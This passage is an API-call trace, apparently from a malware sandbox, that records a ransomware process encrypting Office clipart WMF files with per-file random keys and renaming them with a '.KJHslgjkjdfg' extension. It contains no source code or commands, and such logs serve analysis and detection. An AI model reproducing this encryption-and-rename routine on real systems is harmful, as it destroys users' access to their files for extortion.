hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.153] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.153] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.154] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.154] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.154] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.154] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.154] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.154] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1ec4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1ec4, lpOverlapped=0x0) returned 1 [0202.155] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ed0, dwBufLen=0x1ed0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ed0) returned 1 [0202.155] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.155] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1ed0, lpOverlapped=0x0) returned 1 [0202.155] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.155] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1fa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.155] SetEndOfFile (hFile=0x130) returned 1 [0202.158] GetProcessHeap () returned 0x2ef0000 [0202.158] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.158] GetProcessHeap () returned 0x2ef0000 [0202.158] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.158] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf.kjhslgjkjdfg")) returned 1 [0202.159] CloseHandle (hObject=0x130) returned 1 [0202.159] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152878.WMF", cAlternateFileName="")) returned 1 [0202.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.160] GetProcessHeap () returned 0x2ef0000 [0202.160] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.160] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.160] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.160] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.162] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.162] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.162] GetProcessHeap () returned 0x2ef0000 [0202.162] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.162] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.162] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.163] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.163] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.163] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.163] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.163] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.163] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.163] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.163] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.163] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.163] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3a28, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3a28, lpOverlapped=0x0) returned 1 [0202.164] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3a30, dwBufLen=0x3a30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3a30) returned 1 [0202.164] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.164] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3a30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3a30, lpOverlapped=0x0) returned 1 [0202.165] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.165] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3b04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.165] SetEndOfFile (hFile=0x130) returned 1 [0202.167] GetProcessHeap () returned 0x2ef0000 [0202.167] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.167] GetProcessHeap () returned 0x2ef0000 [0202.167] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.167] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf.kjhslgjkjdfg")) returned 1 [0202.169] CloseHandle (hObject=0x130) returned 1 [0202.169] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2370, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152882.WMF", cAlternateFileName="")) returned 1 [0202.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.169] GetProcessHeap () returned 0x2ef0000 [0202.169] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.170] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.170] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.170] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.170] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.170] GetProcessHeap () returned 0x2ef0000 [0202.170] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.170] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.170] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.170] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.172] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.172] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.172] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.172] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.172] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.173] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.173] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.173] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.173] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2370, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2370, lpOverlapped=0x0) returned 1 [0202.174] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2370, dwBufLen=0x2370 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2370) returned 1 [0202.174] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.174] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2370, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2370, lpOverlapped=0x0) returned 1 [0202.174] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.174] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.174] SetEndOfFile (hFile=0x130) returned 1 [0202.177] GetProcessHeap () returned 0x2ef0000 [0202.177] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.177] GetProcessHeap () returned 0x2ef0000 [0202.177] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.177] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf.kjhslgjkjdfg")) returned 1 [0202.178] CloseHandle (hObject=0x130) returned 1 [0202.178] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b2c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152884.WMF", cAlternateFileName="")) returned 1 [0202.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.179] GetProcessHeap () returned 0x2ef0000 [0202.179] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.179] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.179] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.179] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.182] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.182] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.182] GetProcessHeap () returned 0x2ef0000 [0202.182] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.182] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.182] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.182] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.182] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.182] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.182] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.182] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.182] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.182] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.182] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.182] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.183] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1b2c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1b2c, lpOverlapped=0x0) returned 1 [0202.183] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b30, dwBufLen=0x1b30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b30) returned 1 [0202.183] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.184] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1b30, lpOverlapped=0x0) returned 1 [0202.184] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.184] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.184] SetEndOfFile (hFile=0x130) returned 1 [0202.186] GetProcessHeap () returned 0x2ef0000 [0202.187] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.187] GetProcessHeap () returned 0x2ef0000 [0202.187] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.187] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf.kjhslgjkjdfg")) returned 1 [0202.188] CloseHandle (hObject=0x130) returned 1 [0202.188] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x794, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152890.WMF", cAlternateFileName="")) returned 1 [0202.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.190] GetProcessHeap () returned 0x2ef0000 [0202.190] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.190] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.190] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.190] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0202.192] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.192] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.193] GetProcessHeap () returned 0x2ef0000 [0202.193] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.193] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.193] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.193] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.193] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.193] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.193] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.193] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.193] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.193] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, 